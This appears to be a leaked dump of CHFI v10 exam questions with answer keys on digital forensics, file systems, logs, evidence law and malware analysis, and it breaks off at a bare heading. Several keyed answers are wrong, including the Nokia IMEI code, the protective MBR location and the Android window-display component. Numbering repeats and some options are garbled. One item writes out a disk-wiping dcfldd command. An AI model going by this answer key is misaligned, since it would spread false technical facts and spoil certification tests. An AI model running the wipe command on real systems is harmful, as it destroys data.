



## **EC-Council**

### **Exam Questions 312-49v10**

Computer Hacking Forensic Investigator (CHFI-v10)

#### NEW QUESTION 1

- (Exam Topic 3)

Which of the following setups should a tester choose to analyze malware behavior?

- A. A virtual system with internet connection
- B. A normal system without internet connect
- C. A normal system with internet connection
- D. A virtual system with network simulation for internet connection

**Answer:** D

#### NEW QUESTION 2

- (Exam Topic 3)

An International Mobile Equipment Identifier (IMEI) is a 15-digit number that indicates the manufacturer, model type, and country of approval for GSM devices. The first eight digits of an IMEI number that provide information about the model and origin of the mobile device is also known as:

- A. Type Allocation Code (TAC)
- B. Integrated Circuit Code (ICC)
- C. Manufacturer Identification Code (MIC)
- D. Device Origin Code (DOC)

**Answer:** A

#### NEW QUESTION 3

- (Exam Topic 3)

Which Linux command when executed displays kernel ring buffers or information about device drivers loaded into the kernel?

- A. pgrep
- B. dmesg
- C. fsck
- D. grep

**Answer:** B

#### NEW QUESTION 4

- (Exam Topic 3)

The given image displays information about date and time of installation of the OS along with service packs, patches, and sub-directories. What command or tool did the investigator use to view this output?

- A. dir /o:d
- B. dir /o:s
- C. dir /o:e
- D. dir /o:n

**Answer:** A

#### NEW QUESTION 5

- (Exam Topic 3)

What does the 56.58.152.114(445) denote in a Cisco router log?

Jun 19 23:25:46.125 EST: %SEC-4-IPACCESSLOGP: list internet-inbound denied udp 67.124.115.35(8084)

-> 56.58.152.114(445), 1 packet

- A. Source IP address
- B. None of the above
- C. Login IP address
- D. Destination IP address

**Answer:** D

#### NEW QUESTION 6

- (Exam Topic 3)

Which of the following is a non-zero data that an application allocates on a hard disk cluster in systems running on Windows OS?

- A. Sparse File
- B. Master File Table
- C. Meta Block Group
- D. Slack Space

**Answer:** B

#### NEW QUESTION 7

- (Exam Topic 3)

What technique is used by JPEGs for compression?

- A. TIFF-8
- B. ZIP
- C. DCT
- D. TCD

**Answer:** C

#### NEW QUESTION 8

- (Exam Topic 3)

What value of the "Boot Record Signature" is used to indicate that the boot-loader exists?

- A. AA55
- B. 00AA
- C. AA00
- D. A100

**Answer:** A

#### NEW QUESTION 9

- (Exam Topic 3)

Which of these Windows utility help you to repair logical file system errors?

- A. Resource Monitor
- B. Disk cleanup
- C. Disk defragmenter
- D. CHKDSK

**Answer:** D

#### NEW QUESTION 10

- (Exam Topic 3)

Ron, a computer forensics expert, is investigating a case involving corporate espionage. He has recovered several mobile computing devices from the crime scene. One of the evidence that Ron possesses is a mobile phone from Nokia that was left in ON condition. Ron needs to recover the IMEI number of the device to establish the identity of the device owner. Which of the following key combinations can he use to recover the IMEI number?

- A. #\*06\*#
- B. \*#06#
- C. #06#\*
- D. \*IMEI#

**Answer:** A

#### NEW QUESTION 10

- (Exam Topic 3)

When analyzing logs, it is important that the clocks of all the network devices are synchronized. Which protocol will help in synchronizing these clocks?

- A. UTC
- B. PTP
- C. Time Protocol
- D. NTP

**Answer:** D

#### NEW QUESTION 11

- (Exam Topic 3)

In Windows, prefetching is done to improve system performance. There are two types of prefetching: boot prefetching and application prefetching. During boot prefetching, what does the Cache Manager do?

- A. Determines the data associated with value EnablePrefetcher
- B. Monitors the first 10 seconds after the process is started
- C. Checks whether the data is processed
- D. Checks hard page faults and soft page faults

**Answer: C**

#### NEW QUESTION 13

- (Exam Topic 3)

Where should the investigator look for the Edge browser's browsing records, including history, cache, and cookies?

- A. ESE Database
- B. Virtual Memory
- C. Sparse files
- D. Slack Space

**Answer: A**

#### NEW QUESTION 14

- (Exam Topic 3)

In which implementation of RAID will the image of a Hardware RAID volume be different from the image taken separately from the disks?

- A. RAID 1
- B. The images will always be identical because data is mirrored for redundancy
- C. RAID 0
- D. It will always be different

**Answer: D**

#### NEW QUESTION 19

- (Exam Topic 3)

Which of the following statements is TRUE about SQL Server error logs?

- A. SQL Server error logs record all the events occurred on the SQL Server and its databases
- B. Forensic investigator uses SQL Server Profiler to view error log files
- C. Error logs contain IP address of SQL Server client connections
- D. Trace files record, user-defined events, and specific system events

**Answer: B**

#### NEW QUESTION 20

- (Exam Topic 3)

Which of the following attack uses HTML tags like <script></script>?

- A. Phishing
- B. XSS attack
- C. SQL injection
- D. Spam

**Answer: B**

#### NEW QUESTION 25

- (Exam Topic 3)

What document does the screenshot represent?

- A. Expert witness form
- B. Search warrant form
- C. Chain of custody form
- D. Evidence collection form

**Answer:** D

#### NEW QUESTION 27

- (Exam Topic 3)

Analyze the hex representation of mysql-bin.000013 file in the screenshot below. Which of the following will be an inference from this analysis?

- A. A user with username bad\_guy has logged into the WordPress web application
- B. A WordPress user has been created with the username anonymous\_hacker
- C. An attacker with name anonymous\_hacker has replaced a user bad\_guy in the WordPress database
- D. A WordPress user has been created with the username bad\_guy

**Answer:** D

#### NEW QUESTION 31

- (Exam Topic 3)

Which of the following examinations refers to the process of providing the opposing side in a trial the opportunity to question a witness?

- A. Cross Examination
- B. Direct Examination
- C. Indirect Examination
- D. Witness Examination

**Answer:** A

#### NEW QUESTION 34

- (Exam Topic 3)

The MAC attributes are timestamps that refer to a time at which the file was last modified or last accessed or originally created. Which of the following file systems store MAC attributes in Coordinated Universal Time (UTC) format?

- A. File Allocation Table (FAT)
- B. New Technology File System (NTFS)
- C. Hierarchical File System (HFS)
- D. Global File System (GFS)

**Answer:** B

#### NEW QUESTION 36

- (Exam Topic 3)

Amber, a black hat hacker, has embedded malware into a small enticing advertisement and posted it on a popular ad-network that displays across various websites. What is she doing?

- A. Malvertising
- B. Compromising a legitimate site
- C. Click-jacking
- D. Spearphishing

**Answer:** A

#### NEW QUESTION 39

- (Exam Topic 3)

Which of the following components within the android architecture stack take care of displaying windows owned by different applications?

- A. Media Framework
- B. Surface Manager
- C. Resource Manager
- D. Application Framework

**Answer:** D

#### NEW QUESTION 44

- (Exam Topic 3)

Which of the following Linux command searches through the current processes and lists the process IDs those match the selection criteria to stdout?

- A. pstree
- B. pgrep
- C. ps
- D. grep

**Answer:** B

#### NEW QUESTION 47

- (Exam Topic 3)

Which among the following laws emphasizes the need for each Federal agency to develop, document, and implement an organization-wide program to provide information security for the information systems that support its operations and assets?

- A. FISMA
- B. HIPAA
- C. GLBA
- D. SOX

**Answer:** A

#### NEW QUESTION 50

- (Exam Topic 3)

Which of the following statements is TRUE with respect to the Registry settings in the user start-up folder HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\.

- A. All the values in this subkey run when specific user logs on, as this setting is user-specific
- B. The string specified in the value run executes when user logs on
- C. All the values in this key are executed at system start-up
- D. All values in this subkey run when specific user logs on and then the values are deleted

**Answer:** D

#### NEW QUESTION 55

- (Exam Topic 3)

What is the capacity of Recycle bin in a system running on Windows Vista?

- A. 2.99GB
- B. 3.99GB
- C. Unlimited
- D. 10% of the partition space

**Answer:** C

#### NEW QUESTION 60

- (Exam Topic 3)

An investigator has found certain details after analysis of a mobile device. What can reveal the manufacturer information?

- A. Equipment Identity Register (EIR)
- B. Electronic Serial Number (ESN)
- C. International mobile subscriber identity (IMSI)
- D. Integrated circuit card identifier (ICCID)

**Answer:** B

#### NEW QUESTION 64

- (Exam Topic 3)

Which ISO Standard enables laboratories to demonstrate that they comply with quality assurance and provide valid results?

- A. ISO/IEC 16025
- B. ISO/IEC 18025
- C. ISO/IEC 19025
- D. ISO/IEC 17025

**Answer:** D

#### NEW QUESTION 65

- (Exam Topic 3)

Jim's company regularly performs backups of their critical servers. But the company can't afford to send backup tapes to an off-site vendor for long term storage and archiving. Instead Jim's company keeps the backup tapes in a safe in the office. Jim's company is audited each year, and the results from this year's audit show a risk because backup tapes aren't stored off-site. The Manager of Information Technology has a plan to take the backup tapes home with him and wants to know what two things he can do to secure the backup tapes while in transit?

- A. Encrypt the backup tapes and use a courier to transport them.
- B. Encrypt the backup tapes and transport them in a lock box
- C. Degauss the backup tapes and transport them in a lock box.
- D. Hash the backup tapes and transport them in a lock box.

**Answer:** B

#### NEW QUESTION 66

- (Exam Topic 3)

Andie, a network administrator, suspects unusual network services running on a windows system. Which of the following commands should he use to verify unusual network services started on a Windows system?

- A. net serv
- B. netmgr
- C. lusmgr
- D. net start

**Answer:** D

#### NEW QUESTION 70

- (Exam Topic 3)

Which one of the following is not a first response procedure?

- A. Preserve volatile data
- B. Fill forms
- C. Crack passwords
- D. Take photos

**Answer:** C

#### NEW QUESTION 71

- (Exam Topic 3)

What is cold boot (hard boot)?

- A. It is the process of restarting a computer that is already in sleep mode
- B. It is the process of shutting down a computer from a powered-on or on state
- C. It is the process of restarting a computer that is already turned on through the operating system
- D. It is the process of starting a computer from a powered-down or off state

**Answer:** D

#### NEW QUESTION 73

- (Exam Topic 3)

A Linux system is undergoing investigation. In which directory should the investigators look for its current state data if the system is in powered on state?

- A. /auth
- B. /proc
- C. /var/log/debug
- D. /var/spool/cron/

**Answer:** B

#### NEW QUESTION 75

- (Exam Topic 3)

Consider that you are investigating a machine running an Windows OS released prior to Windows Vista. You are trying to gather information about the deleted files by examining the master database file named INFO2 located at C:\Recycler\<USER SID>. You read an entry named "Dd5.exe". What does Dd5.exe mean?

- A. D driv
- B. fifth file deleted, a .exe file
- C. D drive, fourth file restored, a .exe file
- D. D drive, fourth file deleted, a .exe file
- E. D drive, sixth file deleted, a .exe file

**Answer:** B

#### NEW QUESTION 79

- (Exam Topic 3)

You are a Penetration Tester and are assigned to scan a server. You need to use a scanning technique wherein the TCP Header is split into many packets so that it becomes difficult to detect what the packets are meant for. Which of the below scanning technique will you use?

- A. Inverse TCP flag scanning
- B. ACK flag scanning
- C. TCP Scanning
- D. IP Fragment Scanning

**Answer:** D

#### NEW QUESTION 81

- (Exam Topic 3)

Hard disk data addressing is a method of allotting addresses to each \_\_\_\_\_ of data on a hard disk.

- A. Physical block
- B. Operating system block

- C. Hard disk block
- D. Logical block

**Answer:** A

#### NEW QUESTION 84

- (Exam Topic 3)

Which of the following processes is part of the dynamic malware analysis?

- A. Process Monitoring
- B. Malware disassembly
- C. Searching for the strings
- D. File fingerprinting

**Answer:** A

#### NEW QUESTION 85

- (Exam Topic 3)

What does the bytes 0x0B-0x53 represent in the boot sector of NTFS volume on Windows 2000?

- A. Jump instruction and the OEM ID
- B. BIOS Parameter Block (BPB) and the OEM ID
- C. BIOS Parameter Block (BPB) and the extended BPB
- D. Bootstrap code and the end of the sector marker

**Answer:** C

#### NEW QUESTION 88

- (Exam Topic 3)

What is the location of a Protective MBR in a GPT disk layout?

- A. Logical Block Address (LBA) 2
- B. Logical Block Address (LBA) 0
- C. Logical Block Address (LBA) 1
- D. Logical Block Address (LBA) 3

**Answer:** C

#### NEW QUESTION 89

- (Exam Topic 3)

Jacob is a computer forensics investigator with over 10 years of experience in investigations and has written over 50 articles on computer forensics. He has been called upon as a qualified witness to testify the accuracy and integrity of the technical log files gathered in an investigation into computer fraud. What is the term used for Jacob's testimony in this case?

- A. Certification
- B. Justification
- C. Reiteration
- D. Authentication

**Answer:** D

#### NEW QUESTION 91

- (Exam Topic 3)

If the partition size is 4 GB, each cluster will be 32 K. Even if a file needs only 10 K, the entire 32 K will be allocated, resulting in 22 K of \_\_\_\_\_ .

- A. Slack space
- B. Deleted space
- C. Sector space
- D. Cluster space

**Answer:** A

#### NEW QUESTION 92

- (Exam Topic 3)

Identify the term that refers to individuals who, by virtue of their knowledge and expertise, express an independent opinion on a matter related to a case based on the information that is provided.

- A. Expert Witness
- B. Evidence Examiner
- C. Forensic Examiner
- D. Defense Witness

**Answer:** A

#### NEW QUESTION 93



- (Exam Topic 3)

In a computer that has Dropbox client installed, which of the following files related to the Dropbox client store information about local Dropbox installation and the Dropbox user account, along with email IDs linked with the account?

- A. config.db
- B. install.db
- C. sigstore.db
- D. filecache.db

**Answer:** A

#### NEW QUESTION 98

- (Exam Topic 3)

During the trial, an investigator observes that one of the principal witnesses is severely ill and cannot be present for the hearing. He decides to record the evidence and present it to the court. Under which rule should he present such evidence?

- A. Rule 1003: Admissibility of Duplicates
- B. Limited admissibility
- C. Locard's Principle
- D. Hearsay

**Answer:** B

#### NEW QUESTION 100

- (Exam Topic 3)

Select the tool appropriate for finding the dynamically linked lists of an application or malware.

- A. SysAnalyzer
- B. ResourcesExtract
- C. PEiD
- D. Dependency Walker

**Answer:** D

#### NEW QUESTION 104

- (Exam Topic 3)

CAN-SPAM act requires that you:

- A. Don't use deceptive subject lines
- B. Don't tell the recipients where you are located
- C. Don't identify the message as an ad
- D. Don't use true header information

**Answer:** A

#### NEW QUESTION 108

- (Exam Topic 3)

Examination of a computer by a technically unauthorized person will almost always result in:

- A. Rendering any evidence found inadmissible in a court of law
- B. Completely accurate results of the examination
- C. The chain of custody being fully maintained
- D. Rendering any evidence found admissible in a court of law

**Answer:** A

#### NEW QUESTION 109

- (Exam Topic 3)

In both pharming and phishing attacks an attacker can create websites that look similar to legitimate sites with the intent of collecting personal identifiable information from its victims. What is the difference between pharming and phishing attacks?

- A. Both pharming and phishing attacks are purely technical and are not considered forms of social engineering
- B. In a pharming attack a victim is redirected to a fake website by modifying their host configuration file or by exploiting vulnerabilities in DN
- C. In a phishing attack an attacker provides the victim with a URL that is either misspelled or looks similar to the actual websites domain name
- D. In a phishing attack a victim is redirected to a fake website by modifying their host configuration file or by exploiting vulnerabilities in DN
- E. In a pharming attack an attacker provides the victim with a URL that is either misspelled or looks very similar to the actual websites domain name
- F. Both pharming and phishing attacks are identical

**Answer:** B

#### NEW QUESTION 113

- (Exam Topic 3)

Self-Monitoring, Analysis, and Reporting Technology (SMART) is built into the hard drives to monitor and report system activity. Which of the following is included in the report generated by SMART?

- A. Power Off time
- B. Logs of high temperatures the drive has reached

- C. All the states (running and discontinued) associated with the OS
- D. List of running processes

**Answer:** B

#### NEW QUESTION 117

- (Exam Topic 3)

Shane, a forensic specialist, is investigating an ongoing attack on a MySQL database server hosted on a Windows machine with SID "WIN-ABCDE12345F." Which of the following log file will help Shane in tracking all the client connections and activities performed on the database server?

- A. WIN-ABCDE12345F.err
- B. WIN-ABCDE12345F-bin.n
- C. WIN-ABCDE12345F.pid
- D. WIN-ABCDE12345F.log

**Answer:** D

#### NEW QUESTION 122

- (Exam Topic 3)

Smith is an IT technician that has been appointed to his company's network vulnerability assessment team. He is the only IT employee on the team. The other team members include employees from Accounting, Management, Shipping, and Marketing. Smith and the team members are having their first meeting to discuss how they will proceed. What is the first step they should do to create the network vulnerability assessment plan?

- A. Their first step is to make a hypothesis of what their final findings will be.
- B. Their first step is to create an initial Executive report to show the management team.
- C. Their first step is to analyze the data they have currently gathered from the company or interviews.
- D. Their first step is the acquisition of required documents, reviewing of security policies and compliance.

**Answer:** D

#### NEW QUESTION 126

- (Exam Topic 3)

An investigator has extracted the device descriptor for a 1GB thumb drive that looks like: Disk&Ven\_Best\_Buy&Prod\_Geek\_Squad\_U3&Rev\_6.15. What does the "Geek\_Squad" part represent?

- A. Product description
- B. Manufacturer Details
- C. Developer description
- D. Software or OS used

**Answer:** A

#### NEW QUESTION 127

- (Exam Topic 3)

Which part of Metasploit framework helps users to hide the data related to a previously deleted file or currently unused by the allocated file.

- A. Waffin FS
- B. RuneFS
- C. FragFS
- D. Slacker

**Answer:** D

#### NEW QUESTION 132

- (Exam Topic 3)

What is an investigator looking for in the rp.log file stored in a system running on Windows 10 operating system?

- A. Restore point interval
- B. Automatically created restore points
- C. System CheckPoints required for restoring
- D. Restore point functions

**Answer:** C

#### NEW QUESTION 137

- (Exam Topic 3)

Which forensic investigation methodology believes that criminals commit crimes solely to benefit their criminal enterprises?

- A. Scientific Working Group on Digital Evidence
- B. Daubert Standard
- C. Enterprise Theory of Investigation
- D. Fyre Standard

**Answer:** C

#### NEW QUESTION 140

- (Exam Topic 3)

Which of the following standard represents a legal precedent set in 1993 by the Supreme Court of the United States regarding the admissibility of expert witnesses' testimony during federal legal proceedings?

- A. SWGDE & SWGIT
- B. IOCE
- C. Frye
- D. Daubert

**Answer:** D

#### NEW QUESTION 144

- (Exam Topic 3)

Smith, an employee of a reputed forensic investigation firm, has been hired by a private organization to investigate a laptop that is suspected to be involved in the hacking of the organization's DC server. Smith wants to find all the values typed into the Run box in the Start menu. Which of the following registry keys will Smith check to find the above information?

- A. TypedURLs key
- B. MountedDevices key
- C. UserAssist Key
- D. RunMRU key

**Answer:** D

#### NEW QUESTION 146

- (Exam Topic 3)

Joshua is analyzing an MSSQL database for finding the attack evidence and other details, where should he look for the database logs?

- A. Model.log
- B. Model.txt
- C. Model.ldf
- D. Model.lgf

**Answer:** C

#### NEW QUESTION 150

- (Exam Topic 3)

Which of the following statements is incorrect when preserving digital evidence?

- A. Verify if the monitor is in on, off, or in sleep mode
- B. Turn on the computer and extract Windows event viewer log files
- C. Remove the plug from the power router or modem
- D. Document the actions and changes that you observe in the monitor, computer, printer, or in other peripherals

**Answer:** B

#### NEW QUESTION 155

- (Exam Topic 3)

Event correlation is the process of finding relevance between the events that produce a final result. What type of correlation will help an organization to correlate events across a set of servers, systems, routers and network?

- A. Same-platform correlation
- B. Network-platform correlation
- C. Cross-platform correlation
- D. Multiple-platform correlation

**Answer:** C

#### NEW QUESTION 157

- (Exam Topic 3)

Which of the following statements is true regarding SMTP Server?

- A. SMTP Server breaks the recipient's address into Recipient's name and his/her designation before passing it to the DNS Server
- B. SMTP Server breaks the recipient's address into Recipient's name and recipient's address before passing it to the DNS Server
- C. SMTP Server breaks the recipient's address into Recipient's name and domain name before passing it to the DNS Server
- D. SMTP Server breaks the recipient's address into Recipient's name and his/her initial before passing it to the DNS Server

**Answer:** C

#### NEW QUESTION 158

- (Exam Topic 3)

Gill is a computer forensics investigator who has been called upon to examine a seized computer. This computer, according to the police, was used by a hacker who gained access to numerous banking institutions to steal customer information. After preliminary investigations, Gill finds in the computer's log files that the hacker was able to gain access to these banks through the use of Trojan horses. The hacker then used these Trojan horses to obtain remote access to the companies' domain controllers. From this point, Gill found that the hacker pulled off the SAM files from the domain controllers to then attempt and crack network passwords. What is the most likely password cracking technique used by this hacker to break the user passwords from the SAM files?

- A. Syllable attack
- B. Hybrid attack
- C. Brute force attack
- D. Dictionary attack

**Answer:** D

#### NEW QUESTION 163

- (Exam Topic 3)

In which of these attacks will a steganalyst use a random message to generate a stego-object by using some steganography tool, to find the steganography algorithm used to hide the information?

- A. Chosen-message attack
- B. Known-cover attack
- C. Known-message attack
- D. Known-stego attack

**Answer:** A

#### NEW QUESTION 167

- (Exam Topic 3)

Report writing is a crucial stage in the outcome of an investigation. Which information should not be included in the report section?

- A. Speculation or opinion as to the cause of the incident
- B. Purpose of the report
- C. Author of the report
- D. Incident summary

**Answer:** A

#### NEW QUESTION 171

- (Exam Topic 3)

To reach a bank web site, the traffic from workstations must pass through a firewall. You have been asked to review the firewall configuration to ensure that workstations in network 10.10.10.0/24 can only reach the bank web site 10.20.20.1 using https. Which of the following firewall rules meets this requirement?

- A. if (source matches 10.10.10.0/24 and destination matches 10.20.20.1 and port matches 443) then permit
- B. if (source matches 10.10.10.0/24 and destination matches 10.20.20.1 and port matches 80 or 443) then permit
- C. if (source matches 10.10.10.0 and destination matches 10.20.20.1 and port matches 443) then permit

**Answer:** A

#### NEW QUESTION 175

- (Exam Topic 3)

As part of extracting the system data, Jenifer has used the netstat command. What does this tool reveal?

- A. Status of users connected to the internet
- B. Net status of computer usage
- C. Information about network connections
- D. Status of network hardware

**Answer:** C

#### NEW QUESTION 179

- (Exam Topic 3)

Which among the following search warrants allows the first responder to search and seize the victim's computer components such as hardware, software, storage devices, and documentation?

- A. John Doe Search Warrant
- B. Citizen Informant Search Warrant
- C. Electronic Storage Device Search Warrant
- D. Service Provider Search Warrant

**Answer:** C

#### NEW QUESTION 181

- (Exam Topic 3)

Which of the following does not describe the type of data density on a hard disk?

- A. Volume density
- B. Track density
- C. Linear or recording density
- D. Areal density

**Answer:** A

#### NEW QUESTION 183

- (Exam Topic 3)

Which tool allows dumping the contents of process memory without stopping the process?

- A. psdump.exe
- B. pmdump.exe
- C. processdump.exe
- D. pdump.exe

**Answer:** B

#### NEW QUESTION 186

- (Exam Topic 3)

Which program uses different techniques to conceal a malware's code, thereby making it difficult for security mechanisms to detect or remove it?

- A. Dropper
- B. Packer
- C. Injector
- D. Obfuscator

**Answer:** D

#### NEW QUESTION 191

- (Exam Topic 3)

Which of the following commands shows you the username and IP address used to access the system via a remote login session and the type of client from which they are accessing the system?

- A. Net config
- B. Net sessions
- C. Net share
- D. Net stat

**Answer:** B

#### NEW QUESTION 196

- (Exam Topic 3)

A section of your forensics lab houses several electrical and electronic equipment. Which type of fire extinguisher you must install in this area to contain any fire incident?

- A. Class B
- B. Class D
- C. Class C
- D. Class A

**Answer:** C

#### NEW QUESTION 199

- (Exam Topic 3)

Which of the following is a tool to reset Windows admin password?

- A. R-Studio
- B. Windows Password Recovery Bootdisk
- C. Windows Data Recovery Software
- D. TestDisk for Windows

**Answer:** B

#### NEW QUESTION 202

- (Exam Topic 3)

Which of the following files contains the traces of the applications installed, run, or uninstalled from a system?

- A. Virtual Files
- B. Image Files
- C. Shortcut Files
- D. Prefetch Files

**Answer:** C

#### NEW QUESTION 203

- (Exam Topic 3)

Which of the following is a federal law enacted in the US to control the ways that financial institutions deal with the private information of individuals?

- A. SOX
- B. HIPAA 1996
- C. GLBA
- D. PCI DSS

**Answer:** C

#### NEW QUESTION 207

- (Exam Topic 3)

BMP (Bitmap) is a standard file format for computers running the Windows operating system. BMP images can range from black and white (1 bit per pixel) up to 24 bit color (16.7 million colors). Each bitmap file contains a header, the RGBQUAD array, information header, and image data. Which of the following element specifies the dimensions, compression type, and color format for the bitmap?

- A. Information header
- B. Image data
- C. The RGBQUAD array
- D. Header

**Answer:** A

#### NEW QUESTION 208

- (Exam Topic 3)

Which of the following protocols allows non-ASCII files, such as video, graphics, and audio, to be sent through the email messages?

- A. MIME
- B. BINHEX
- C. UT-16
- D. UUCODE

**Answer:** A

#### NEW QUESTION 212

- (Exam Topic 3)

Which of the following tool can reverse machine code to assembly language?

- A. PEiD
- B. RAM Capturer
- C. IDA Pro
- D. Deep Log Analyzer

**Answer:** C

#### NEW QUESTION 215

- (Exam Topic 3)

What is the investigator trying to view by issuing the command displayed in the following screenshot?

- A. List of services stopped
- B. List of services closed recently
- C. List of services recently started
- D. List of services installed

**Answer:** D

#### NEW QUESTION 216

- (Exam Topic 3)

Bob has encountered a system crash and has lost vital data stored on the hard drive of his Windows computer. He has no cloud storage or backup hard drives. He wants to recover all the data, which includes his personal photos, music, documents, videos, official emails, etc. Which of the following tools shall resolve Bob's purpose?

- A. Cain & Abel



- B. Recuva
- C. Xplico
- D. Colasoft's Capsa

**Answer:** B

#### NEW QUESTION 221

- (Exam Topic 3)

Buffer overflow vulnerability of a web application occurs when it fails to guard its buffer properly and allows writing beyond its maximum size. Thus, it overwrites the \_\_\_\_\_. There are multiple forms of buffer overflow, including a Heap Buffer Overflow and a Format String Attack.

- A. Adjacent memory locations
- B. Adjacent bit blocks
- C. Adjacent buffer locations
- D. Adjacent string locations

**Answer:** A

#### NEW QUESTION 222

- (Exam Topic 3)

Amelia has got an email from a well-reputed company stating in the subject line that she has won a prize money, whereas the email body says that she has to pay a certain amount for being eligible for the contest.

Which of the following acts does the email breach?

- A. CAN-SPAM Act
- B. HIPAA
- C. GLBA
- D. SOX

**Answer:** A

#### NEW QUESTION 223

- (Exam Topic 3)

As a part of the investigation, Caroline, a forensic expert, was assigned the task to examine the transaction logs pertaining to a database named Transfers. She used SQL Server Management Studio to collect the active transaction log files of the database. Caroline wants to extract detailed information on the logs, including AllocUnitId, page id, slot id, etc. Which of the following commands does she need to execute in order to extract the desired information?

- A. DBCC LOG(Transfers, 1)
- B. DBCC LOG(Transfers, 3)
- C. DBCC LOG(Transfers, 0)
- D. DBCC LOG(Transfers, 2)

**Answer:** D

#### NEW QUESTION 224

- (Exam Topic 3)

Which of the following is a responsibility of the first responder?

- A. Determine the severity of the incident
- B. Collect as much information about the incident as possible
- C. Share the collected information to determine the root cause
- D. Document the findings

**Answer:** B

#### NEW QUESTION 228

- (Exam Topic 3)

What does the Rule 101 of Federal Rules of Evidence states?

- A. Scope of the Rules, where they can be applied
- B. Purpose of the Rules
- C. Limited Admissibility of the Evidence
- D. Rulings on Evidence

**Answer:** A

#### NEW QUESTION 231

- (Exam Topic 3)

Which principle states that “anyone or anything, entering a crime scene takes something of the scene with them, and leaves something of themselves behind when they leave”?

- A. Locard's Exchange Principle
- B. Enterprise Theory of Investigation
- C. Locard's Evidence Principle
- D. Evidence Theory of Investigation

**Answer:** A

#### NEW QUESTION 233

- (Exam Topic 3)

Which of the following information is displayed when Netstat is used with -ano switch?

- A. Ethernet statistics
- B. Contents of IP routing table
- C. Details of routing table
- D. Details of TCP and UDP connections

**Answer:** D

#### NEW QUESTION 236

- (Exam Topic 3)

An investigator is analyzing a checkpoint firewall log and comes across symbols. What type of log is he looking at?

- A. Security event was monitored but not stopped
- B. Malicious URL detected
- C. An email marked as potential spam
- D. Connection rejected

**Answer:** C

#### NEW QUESTION 238

- (Exam Topic 3)

Graphics Interchange Format (GIF) is a \_\_\_\_\_ RGB bitmap image format for images with up to 256 distinct colors per frame.

- A. 8-bit
- B. 32-bit
- C. 16-bit
- D. 24-bit

**Answer:** A

#### NEW QUESTION 240

- (Exam Topic 2)

What type of analysis helps to identify the time and sequence of events in an investigation?

- A. Time-based
- B. Functional
- C. Relational
- D. Temporal

**Answer:** D

#### NEW QUESTION 245

- (Exam Topic 2)

You have been called in to help with an investigation of an alleged network intrusion. After questioning the members of the company IT department, you search through the server log files to find any trace of the intrusion. After that you decide to telnet into one of the company routers to see if there is any evidence to be found. While connected to the router, you see some unusual activity and believe that the attackers are currently connected to that router. You start up an ethereal session to begin capturing traffic on the router that could be used in the investigation. At what layer of the OSI model are you monitoring while watching traffic to and from the router?

- A. Network
- B. Transport
- C. Data Link
- D. Session

**Answer:** A

#### NEW QUESTION 249

- (Exam Topic 2)

Which of the following files gives information about the client sync sessions in Google Drive on Windows?

- A. sync\_log.log
- B. Sync\_log.log
- C. sync.log
- D. Sync.log

**Answer:** B

#### NEW QUESTION 253

- (Exam Topic 2)



A computer forensics investigator is inspecting the firewall logs for a large financial institution that has employees working 24 hours a day, 7 days a week.

What can the investigator infer from the screenshot seen below?

- A. A smurf attack has been attempted
- B. A denial of service has been attempted
- C. Network intrusion has occurred
- D. Buffer overflow attempt on the firewall.

**Answer:** C

#### NEW QUESTION 256

- (Exam Topic 2)

A forensics investigator needs to copy data from a computer to some type of removable media so he can examine the information at another location. The problem is that the data is around 42GB in size. What type of removable media could the investigator use?

- A. Blu-Ray single-layer
- B. HD-DVD
- C. Blu-Ray dual-layer
- D. DVD-18

**Answer:** C

#### NEW QUESTION 258

- (Exam Topic 2)

Which of the following tool creates a bit-by-bit image of an evidence media?

- A. Recuva
- B. FileMerlin
- C. AccessData FTK Imager
- D. Xplico

**Answer:** C

#### NEW QUESTION 261

- (Exam Topic 2)

Given the drive dimensions as follows and assuming a sector has 512 bytes, what is the capacity of the described hard drive?

22,164 cylinders/disk

80 heads/cylinder

63 sectors/track

- A. 53.26 GB
- B. 57.19 GB
- C. 11.17 GB
- D. 10 GB

**Answer:** A

#### NEW QUESTION 263

- (Exam Topic 2)

Madison is on trial for allegedly breaking into her university internal network. The police raided her dorm room and seized all of her computer equipment. Madison lawyer is trying to convince the judge that the seizure was unfounded and baseless. Under which US Amendment is Madison lawyer trying to prove the police violated?

- A. The 10th Amendment
- B. The 5th Amendment
- C. The 1st Amendment
- D. The 4th Amendment

**Answer:** D

#### NEW QUESTION 266

- (Exam Topic 2)

Preparing an image drive to copy files to is the first step in Linux forensics. For this purpose, what would the following command accomplish?  
dcfldd if=/dev/zero of=/dev/hda bs=4096 conv=noerror, sync

- A. Fill the disk with zeros
- B. Low-level format
- C. Fill the disk with 4096 zeros
- D. Copy files from the master disk to the slave disk on the secondary IDE controller

**Answer:** A

#### NEW QUESTION 268

- (Exam Topic 2)

What will the following command accomplish in Linux?  
fdisk /dev/hda

- A. Partition the hard drive
- B. Format the hard drive
- C. Delete all files under the /dev/hda folder
- D. Fill the disk with zeros

**Answer:** A

#### NEW QUESTION 270

- (Exam Topic 2)

Bob works as information security analyst for a big finance company. One day, the anomaly-based intrusion detection system alerted that a volumetric DDOS targeting the main IP of the main web server was occurring. What kind of attack is it?

- A. IDS attack
- B. APT
- C. Web application attack
- D. Network attack

**Answer:** D

#### NEW QUESTION 273

- (Exam Topic 2)

What file is processed at the end of a Windows XP boot to initialize the logon dialog box?

- A. NTOSKRNL.EXE
- B. NTLDR
- C. LSASS.EXE
- D. NTDETECT.COM

**Answer:** A

#### NEW QUESTION 274

- (Exam Topic 2)

Which of the following commands shows you all of the network services running on Windows-based servers?

- A. Netstart
- B. Net Session
- C. Net use
- D. Net config

**Answer:** A

#### NEW QUESTION 277

- (Exam Topic 2)

Your company's network just finished going through a SAS 70 audit. This audit reported that overall, your network is secure, but there are some areas that needs improvement. The major area was SNMP security. The audit company recommended turning off SNMP, but that is not an option since you have so many remote nodes to keep track of. What step could you take to help secure SNMP on your network?

- A. Block all internal MAC address from using SNMP
- B. Block access to UDP port 171
- C. Block access to TCP port 171
- D. Change the default community string names

**Answer:** D

#### NEW QUESTION 282

- (Exam Topic 2)

What will the following Linux command accomplish? dd if=/dev/mem of=/home/sam/mem.bin bs=1024

- A. Copy the master boot record to a file
- B. Copy the contents of the system folder to a file

- C. Copy the running memory to a file
- D. Copy the memory dump file to an image file

**Answer:** C

#### NEW QUESTION 284

- (Exam Topic 2)

Billy, a computer forensics expert, has recovered a large number of DBX files during the forensic investigation of a laptop. Which of the following email clients can he use to analyze the DBX files?

- A. Microsoft Outlook
- B. Eudora
- C. Mozilla Thunderbird
- D. Microsoft Outlook Express

**Answer:** D

#### NEW QUESTION 289

